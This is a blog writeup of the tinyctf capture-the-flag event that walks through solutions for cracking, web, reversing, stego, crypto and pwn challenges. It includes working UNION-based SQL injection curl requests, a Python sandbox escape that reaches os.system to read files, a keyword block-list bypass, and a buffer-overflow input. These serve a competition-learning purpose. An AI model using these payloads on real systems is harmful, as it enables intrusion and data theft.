staring into /dev/null

barrebas

Tinyctf Writeup

tinyctf was ran by @balidani and was actually a very enjoyable Jeopardy-style CTF event! I spent quite some time on the challenges and got all flags except crypto200. I kept some notes in keepnote which I converted to this blog post. The name of each challenge was a hint for solving the challenge. The author hinted at a VM containing all the challenges, so keep you eyes peeled for that one.

misc50

Clearly, this was brainfuck code! Yay for brainfuck! Unfortunately, this being a CTF, I quickly entered the bf code in an online interpreter, got the flag and did not keep any notes. But yay for bf!

misc100 aka Janos the Ripper

The zip file contained a second zip file with a password-protected file called ‘flag’. The name of course hinted strongly in the direction of John the Ripper and indeed, JtR made quick work of this password-protected zip file:

bas@tritonal:~/tools/john-1.7.9-jumbo-7/run$ ./zip2john ~/tmp/misc100 > misc100.hashes
/home/bas/tmp/misc100->flag.txt PKZIP Encr: cmplen=39, decmplen=25, crc=7788D444
bas@tritonal:~/tools/john-1.7.9-jumbo-7/run$ ./john ./misc100.hashes 
Loaded 1 password hash (PKZIP [32/64])
fish             (/home/bas/tmp/misc100)
guesses: 1  time: 0:00:00:00 DONE (Mon Sep 29 22:14:44 2014)  c/s: 388328  trying: marisol - help
Use the "--show" option to display all of the cracked passwords reliably

flag{ev3n::y0u::bru7us?!}

web100

This challenge presents us again with a file to download, which turns out to be a heavily obfuscated javascript file. Between the javascript statements are strange bytes values, such as 0x02 or 0x01. These are not visible in the code below.

<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){  [0]);.splice(0,1)}}}    \'<input id="c">< onclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)!=null=["   write(s[o%4]buttonif(e.ment';for(Y in $='    ')with(_.split($[Y]))_=join(pop());eval(_)</script>

I had little luck trying to reverse this javascript. I noticed that the entire string is parsed with eval so I just replaced it with alert and ran the javascript. I was presented with the following code, after pulling it through jsbeautifier.org:

function $() {
    var e = document.getElementById("c").value;
    if (e.length == 16)
        if (e.match(/^be0f23/) != null)
            if (e.match(/233ac/) != null)
                if (e.match(/e98aa$/) != null)
                    if (e.match(/c7be9/) != null) {
                        var t = ["fl", "s_a", "i", "e}"];
                        var n = ["a", "_h0l", "n"];
                        var r = ["g{", "e", "_0"];
                        var i = ["it'", "_", "n"];
                        var s = [t, n, r, i];
                        for (var o = 0; o < 13; ++o) {
                            document.write(s[o % 4][0]);
                            s[o % 4].splice(0, 1)
                        }
                    }
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _

So the original javascript replaces all the weird bytes and then runs this code, which obviously checks the input. If it is valid, it will unmangle the flag. I was not able to get the proper string, but who cares when I can just run:

<script>function $() {
                        var t = ["fl", "s_a", "i", "e}"];
                        var n = ["a", "_h0l", "n"];
                        var r = ["g{", "e", "_0"];
                        var i = ["it'", "_", "n"];
                        var s = [t, n, r, i];
                        for (var o = 0; o < 13; ++o) {
                            document.write(s[o % 4][0]);
                            s[o % 4].splice(0, 1)
                        }
}
document.write('<input id="c"><button onclick=$()>Ok</button>');</script>

flag{it's_a_h0le_in_0ne}

web200

This was a fun one. We’re presented with a webpage about rollercoasters and a search box. We can search for values in the name, park or country. This smells like SQLi. I tried a couple of things in the search box, but this got me nowhere. I viewed the source of the webpage and lo-and-behold: it looks like we can specify the column name to be searched ourselves! I switched over to curl to check this. After a bit of fumbling around for the proper syntax, I came up with this:

bas@tritonal:~/tmp$ curl -v "http://54.69.118.120:8000/index.php" --data "value=999&column=height < 0 union select 1,2,3,4 -- #"
* About to connect() to 54.69.118.120 port 8000 (#0)
*   Trying 54.69.118.120...
* connected
...snip...
        <div id="content" class="whitebox">
            <table>
                <tr>
                    <th>
                        Name
                    </th>
                    <th>
                        Park
                    </th>
                    <th>
                        Country
                    </th>
                    <th>
                        Height
                    </th>
                    
                </tr><tr><td>1</td><td>2</td><td>3</td><td>4 m</td></tr></table>
...snip...

You can see that the webpage nicely returns the values 1, 2, 3 and 4, verifying a SQL injection. Next, I assumed MySQL and grabbed the table names:

bas@tritonal:~/tmp$ curl -v "http://54.69.118.120:8000/index.php" --data "value=999&column=height < 0 union select 1,2,table_name,0 from information_schema.tables -- #"
...snip...
<td>setup_timers</td><td>0 m</td></tr><tr><td>1</td><td>2</td><td>threads</td><td>0 m</td></tr><tr><td>1</td><td>2</td><td>flag</td><td>0 m</td></tr><tr><td>1</td><td>2</td><td>rollercoaster</td><td>0 m</td></tr></table>
...snip...

Looks like there is a table named flag! Let’s grab column names:

bas@tritonal:~/tmp$ curl -v "http://54.69.118.120:8000/index.php" --data "value=999&column=height < 0 union select 1,2,column_name,0 from information_schema.columns where table_name = 'flag' -- #"

This returned the column hash. Get the flag!

bas@tritonal:~/tmp$ curl -v "http://54.69.118.120:8000/index.php" --data "value=999&column=height < 0 union select 1,2,hash,0 from flag -- #"

flag{unroll_those_loops}

rev100

Unpacking the zip file gave me a file that looked like the output of xxd:

00400080  68 66 6C 00 00 48 BF 01  00 00 00 00 00 00 00 48
00400090  8D 34 24 48 BA 02 00 00  00 00 00 00 00 48 B8 01
004000A0  00 00 00 00 00 00 00 0F  05 68 61 67 00 00 48 BF
004000B0  01 00 00 00 00 00 00 00  48 8D 34 24 48 BA 02 00
004000C0  00 00 00 00 00 00 48 B8  01 00 00 00 00 00 00 00
004000D0  0F 05 68 7B 70 00 00 48  BF 01 00 00 00 00 00 00
004000E0  00 48 8D 34 24 48 BA 02  00 00 00 00 00 00 00 48
004000F0  B8 01 00 00 00 00 00 00  00 0F 05 68 6F 70 00 00
00400100  48 BF 01 00 00 00 00 00  00 00 48 8D 34 24 48 BA
00400110  02 00 00 00 00 00 00 00  48 B8 01 00 00 00 00 00
00400120  00 00 0F 05 68 70 6F 00  00 48 BF 01 00 00 00 00
00400130  00 00 00 48 8D 34 24 48  BA 02 00 00 00 00 00 00
00400140  00 48 B8 01 00 00 00 00  00 00 00 0F 05 68 70 72
00400150  00 00 48 BF 01 00 00 00  00 00 00 00 48 8D 34 24
00400160  48 BA 02 00 00 00 00 00  00 00 48 B8 01 00 00 00
00400170  00 00 00 00 0F 05 68 65  74 00 00 48 BF 01 00 00
00400180  00 00 00 00 00 48 8D 34  24 48 BA 02 00 00 00 00
00400190  00 00 00 48 B8 01 00 00  00 00 00 00 00 0F 05 68
004001A0  7D 0A 00 00 48 BF 01 00  00 00 00 00 00 00 48 8D
004001B0  34 24 48 BA 02 00 00 00  00 00 00 00 48 B8 01 00
004001C0  00 00 00 00 00 00 0F 05  48 31 FF 48 B8 3C 00 00
004001D0  00 00 00 00 00 0F 05

Reversing the process with xxd -r gave me a 4 MB file which didn’t really help much. Instead, looking at the address and bytes, I somehow got the feeling this was assembly code. So I extracted all the bytes with some quick & dirty bash-fu (‘cause ctf):

cat rev100 |awk '{print $2$3$4$5$6$7$8$9$10$11$12$13$14$15$16$17}' | tr -d '\r\n'
68666C000048BF0100000000000000488D342448BA020000000000000048B80...snip...

Now radare2 comes to the rescue again! Notice the -b 64 flag to specify x64 code.

bas@tritonal:~/tmp$ rasm2 -b 64 -d "68666C000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05686167000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05687B70000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05686F70000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F0568706F000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05687072000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05686574000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05687D0A000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F054831FF48B83C000000000000000F05"
push dword 0x6c66
mov rdi, 0x1
lea rsi, [rsp]
mov rdx, 0x2
mov rax, 0x1
syscall
push dword 0x6761
mov rdi, 0x1
lea rsi, [rsp]
mov rdx, 0x2
mov rax, 0x1
syscall
..snip...
push dword 0xa7d
mov rdi, 0x1
lea rsi, [rsp]
mov rdx, 0x2
mov rax, 0x1
syscall
xor rdi, rdi
mov rax, 0x3c
syscall

Looks like it wants to use syscall to print characters to the screen. Instead, I extract the values:

bas@tritonal:~/tmp$ rasm2 -b 64 -d "68666C000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05686167000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05687B70000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05686F70000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F0568706F000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05687072000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05686574000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F05687D0A000048BF0100000000000000488D342448BA020000000000000048B801000000000000000F054831FF48B83C000000000000000F05" | grep "push dword" |awk '{print $3}'
0x6c66
0x6761
0x707b
0x706f
0x6f70
0x7270
0x7465
0xa7d

xxd -p -r helps to read these bytes.

flag{poppopret}

rev200

This was an annoying challenge. I sort of knew what to do, but couldn’t get the proper tools running. The zip file seems to contain an APK file. I tried to run it in an emulator, but did not succeed. I tried four different disassembler and struck gold with android-apktool. This tool could disassemble the APK file:

java -jar apktool.jar -d ./rev200.apk

Grepping the files for ‘flag’ only returned a string id starting with “0x7f0..” but this was of no use. I started looking at each file, but one stuck out:

bas@tritonal:~/tmp/apktool1.5.2/rev200/smali/ctf/crackme$ cat FlagActivity.smali
.class public Lctf/crackme/FlagActivity;
.super Landroid/app/Activity;
.source "FlagActivity.java"


...snip...

    .line 20
    .end local v2           #flagText:Landroid/widget/TextView;
    :cond_0
    aget v4, v0, v3

    int-to-char v4, v4

    invoke-static {v4}, Ljava/lang/String;->valueOf(C)Ljava/lang/String;

    move-result-object v4

    invoke-virtual {v1, v4}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v1

    .line 19
    add-int/lit8 v3, v3, 0x1

    goto :goto_0

    .line 17
    nop

    :array_0
    .array-data 0x4 
        0x66t 0x0t 0x0t 0x0t 
        0x6ct 0x0t 0x0t 0x0t 
        0x61t 0x0t 0x0t 0x0t 
        0x67t 0x0t 0x0t 0x0t 
        0x7bt 0x0t 0x0t 0x0t 
        0x77t 0x0t 0x0t 0x0t 
        0x34t 0x0t 0x0t 0x0t 
        0x6et 0x0t 0x0t 0x0t 
        0x6et 0x0t 0x0t 0x0t 
        0x34t 0x0t 0x0t 0x0t 
        0x5ft 0x0t 0x0t 0x0t 
        0x6at 0x0t 0x0t 0x0t 
        0x34t 0x0t 0x0t 0x0t 
        0x72t 0x0t 0x0t 0x0t 
        0x5ft 0x0t 0x0t 0x0t 
        0x6dt 0x0t 0x0t 0x0t 
        0x79t 0x0t 0x0t 0x0t 
        0x5ft 0x0t 0x0t 0x0t 
        0x64t 0x0t 0x0t 0x0t 
        0x33t 0x0t 0x0t 0x0t 
        0x78t 0x0t 0x0t 0x0t 
        0x7dt 0x0t 0x0t 0x0t 
    .end array-data
.end method

flag{w4nn4_j4r_my_d3x}

rev300 “elrond32”

The challenge name was a big hint. Apparently, ‘Elrond’ is linked to Lord of the Rings. The zip file contains a Linux ELF binary. Upon running the binary, all I got was Access Denied. Disassembling in gdb and analysis showed that the program takes exactly one argument. The length of this string must be exactly 8, no more, no less. The program then starts to compare the values of each byte. It jumps to the relative sections of code using a jumptable. I first did:

bas@tritonal:~/tmp$ objdump -d rev300 |grep "cmp "         
 80483b6:   39 d8                    cmp    %ebx,%eax
 80483d4:   39 d8                    cmp    %ebx,%eax
 8048439:   3c 6e                   cmp    $0x6e,%al
 8048451:   3c 72                    cmp    $0x72,%al
 8048469:   3c 64                    cmp    $0x64,%al
 804847d:   3c 65                    cmp    $0x65,%al
 8048491:   3c 69                    cmp    $0x69,%al
 80484a5:   3c 61                    cmp    $0x61,%al
 80484b9:   3c 67                    cmp    $0x67,%al
 80484ca:   3c 73                    cmp    $0x73,%al
 8048675:   39 fe                    cmp    %edi,%esi
 80486ac:   83 f8 ff                 cmp    $0xffffffff,%eax
 80486bf:   83 f8 ff                 cmp    $0xffffffff,%eax

This already narrowed down the possible values for each byte quite a lot! Apparently, the program checks for the byte values “sgnrdeia”. I looked up the jumptable and started debugging the program.

gdb-peda$ x/8x 0x8048720
0x8048720:  0x0804848b  0x08048477  0x080484d5  0x08048433
0x8048730:  0x08048463  0x0804849f  0x080484b3  0x080484c4

When I was writing down the values the program was checking against, I was making a mistake and wrote down ‘in.n’. I looked at the rest of the letters and for some reason it clicked. I got lucky!

bas@tritonal:~/tmp$ ./rev300 isengard
Access granted

flag{s0me7hing_S0me7hinG_t0lki3n}

stego100

Stego can be extremely hard but also quite fun once you ‘get’ it. The zip file contained a PNG image showing the three vikings from The Lost Vikings. I did not notice any strange artifacts in the image so I ran strings on the image just to be sure.

bas@tritonal:~/tmp$ strings stego100
LdfO;
#tEXthint
http://i.imgur.com/22kUrzm.png
IEND

Hmm. Another PNG? It looked like the exact same image, but the file sizes differed. I tried to subtract the second image from the first in GIMP but that didn’t work. I spent quite some time on it and I finally got it using imagemagick:

compare 22kUrzm.png stego100 diff.png

This created a difference file from both PNGs. This file had a very obvious QR code:

Scanning this QR code with a smartphone yielded flag{#justdiffit}

cry100

The first and easiest crypto challenge. The zip file contained a text file with the following content:

XMVZGC RGC AMG RVMG HGFGMQYCD VT VWM BYNO, NSVWDS NSGO RAO XG UWFN AF 
HACDGMVWF. AIRVFN AII AMG JVRRVC-XVMC, FYRBIG TVIZ ESV SAH CGQGM XGGC 
RVMG NSAC A RYIG TMVR NSG SVWFG ESGMG NSGO EGMG XVMC WCNYI NSG HAO 
FVRG IVMH JARG MVWCH NV NAZG NSGR VTT NV EAM. OVWM TIAD YF "CV NSYF 
YF CVN JMOBNV RO HGAM", YC IVEGMJAFG, EYNS WCHGMFJVMGF YCFNGAH VT 
FBAJGF, FWMMVWCHGH XO NSG WFWAI "TIAD" NAD ACH JWMIO XMAJGF. GCUVO.

This looked like either a Caesar cipher or a substitution cipher. Luckily, online solvers exist.

BROKEN MEN ARE MORE DESERVING OF OUR PITY, THOUGH THEY MAY BE JUST AS  DANGEROUS. ALMOST ALL ARE COMMON-BORN, SIMPLE FOLK WHO HAD NEVER BEEN  MORE THAN A MILE FROM THE HOUSE WHERE THEY WERE BORN UNTIL THE DAY  SOME LORD CAME ROUND TO TAKE THEM OFF TO WAR. YOUR FLAG IS 'NO THIS  IS NOT CRYPTO MY DEAR', IN LOWERCASE, WITH UNDERSCORES INSTEAD OF  SPACES, SURROUNDED BY THE USUAL 'FLAG' TAG AND CURLY BRACES. ENJOY.

flag{no_this_is_not_crypto_my_dear}

cry300

A fun one! I read PoC||GTFO a lot, and the name of the challenge and the file screamed electronic coloring book. For more info, grab a copy of PoC||GTFO 0x05 from a neighbourly neighbour. The idea is that the image file, a 4k still, is encrypted with ECB, but this block cipher is very bad a encrypting. Repeated blocks can be ‘colored’ in using this script.

bas@tritonal:~/tmp$ python colorbook.py -x 3840 ecb.bmp

The image is still a bit mangled, but after flipping the image vertically, the flag is legible:

flag{no_penguin_here}

pwn200

A python jail! This reminded me of the CSAW python jail, but simpler. Upon connecting to the ip address, the user is dropped in a python shell. However, we can’t use commands that contain

prohibited_keywords = [
        "import",
        "open",
        "flag",
        "eval",
        "exec"
    ]

Now, we wanna read the flag somehow. I found this writeup to be very helpful. I followed that approach, abusing ().__class__.__base__.__subclasses__() to finally call os. I still have no profound understanding of breaking python jails, but this and the CSAW example definitely helped.

bas@tritonal:~$ nc 54.69.118.120 6000

Welcome to Safe Interactive CPython Shell (SICS)
================================================

Rules: 
    - Wash your dishes
    - Don't eat the yellow snow
    - Do not import anything
    - No peeking at files!

baby@sics:~$
().__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'sys.floatinfo'>, <type 'EncodingMap'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type 'pwd.struct_passwd'>, <type 'file'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
baby@sics:~$
().__class__.__base__.__subclasses__()[49]
<class 'warnings.catch_warnings'>
baby@sics:~$
().__class__.__base__.__subclasses__()[49].__init__.func_globals["linecache"].__dict__['os'].system('cat /home/pybaby/flag')
#rekt
baby@sics:~$
().__class__.__base__.__subclasses__()[49].__init__.func_globals["linecache"].__dict__['os'].system('cat /home/pybaby/flag.txt')
#rekt
baby@sics:~$
().__class__.__base__.__subclasses__()[49].__init__.func_globals["linecache"].__dict__['os'].system('cat /home/pybaby/f*')    
flag{python_sandboxing:_harder_than_teaching_your_mom_dota}0

flag{python_sandboxing:_harder_than_teaching_your_mom_dota}

I just figured out another way to beat this one, using __builtins__. First, we need to get a way to call open without actually using the phrase ‘open’. We can display all the builtin functions like so:

__builtins__.__dict__.keys()
baby@sics:~$ ['bytearray', 'IndexError', 'all', 'help', 'vars', 'SyntaxError', 'unicode', 'UnicodeDecodeError', 'isinstance', 'copyright', 'NameError', 'BytesWarning', 'dict', 'input', 'oct', 'bin', 'SystemExit', 'StandardError', 'format', 'repr', 'sorted', 'False', 'RuntimeWarning', 'list', 'iter', 'reload', 'Warning', '__package__', 'round', 'dir', 'cmp', 'set', 'bytes', 'reduce', 'intern', 'issubclass', 'Ellipsis', 'EOFError', 'locals', 'BufferError', 'slice', 'FloatingPointError', 'sum', 'getattr', 'abs', 'exit', 'print', 'True', 'FutureWarning', 'ImportWarning', 'None', 'hash', 'ReferenceError', 'len', 'credits', 'frozenset', '__name__', 'ord', 'super', 'TypeError', 'license', 'KeyboardInterrupt', 'UserWarning', 'filter', 'range', 'staticmethod', 'SystemError', 'BaseException', 'pow', 'RuntimeError', 'float', 'MemoryError', 'StopIteration', 'globals', 'divmod', 'enumerate', 'apply', 'LookupError', 'open', 'quit', 'basestring', 'UnicodeError', 'zip', 'hex', 'long', 'next', 'ImportError', 'chr', 'xrange', 'type', '__doc__', 'Exception', 'tuple', 'UnicodeTranslateError', 'reversed', 'UnicodeEncodeError', 'IOError', 'hasattr', 'delattr', 'setattr', 'raw_input', 'SyntaxWarning', 'compile', 'ArithmeticError', 'str', 'property', 'GeneratorExit', 'int', '__import__', 'KeyError', 'coerce', 'PendingDeprecationWarning', 'file', 'EnvironmentError', 'unichr', 'id', 'OSError', 'DeprecationWarning', 'min', 'UnicodeWarning', 'execfile', 'any', 'complex', 'bool', 'ValueError', 'NotImplemented', 'map', 'buffer', 'max', 'object', 'TabError', 'callable', 'ZeroDivisionError', 'eval', '__debug__', 'IndentationError', 'AssertionError', 'classmethod', 'UnboundLocalError', 'NotImplementedError', 'AttributeError', 'OverflowError']

On my system, the 80th value is ‘open’, but on the remote server, it’s the 78th. Difference in Python version? Anyway, we can now call the fuction ‘open’ like so and avoid the filter by using string concatenation:

__builtins__.__dict__[__builtins__.__dict__.keys()[78]]('/home/pybaby/fl'+'ag').readlines()

pwn300

By far the easiest 300 point challenge. Again, we’re given an ip address. Upon connecting I did what I always do:

bas@tritonal:~$ nc 54.69.118.120 7000
Welcome to Google Gamble.
=========================

Google Gamble is easy. Guess the card drawn
from the deck and double your money! Make it all
the way to $1048576 to get a flag! Good luck!

Your current balance: 1$

Select an option:
1. Guess a card
2. Get the flag
3. Quit
1
Please enter your guess: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The computer picked AAAAAAAAAAAA�        (Valet!)
Congrats, you won this round!
Your current balance: 2$

Select an option:
1. Guess a card
2. Get the flag
3. Quit
Please enter your guess: The computer picked AAAAAAAAAAAA
Congrats, you won this round!
Your current balance: 4$

Select an option:
1. Guess a card
2. Get the flag
3. Quit
Please enter your guess: The computer picked AAAAAA
�
Congrats, you won this round!
Your current balance: 8$

I have the sick tendency to either supply SQL injections or large repeats of ‘A’. Apparently, this program checks the guess of the user versus some precomputed value. However, the large input overwrites this precomputed value. The check will always be true and the money doubles. I just rinsed & repeated until I had enough to extract the flag:

Select an option:
1. Guess a card
2. Get the flag
3. Quit
Please enter your guess: The computer picked AAAAAA
�
Congrats, you won this round!
Your current balance: 16777216$

Select an option:
1. Guess a card
2. Get the flag
3. Quit
2
Here is your well-deserved prize: flag{valet_knekt_jack_jumbo}
Congratulations!
Good bye!

flag{valet_knekt_jack_jumbo}

And that was it! I hope there’s more of this tinyctf to come!

Comments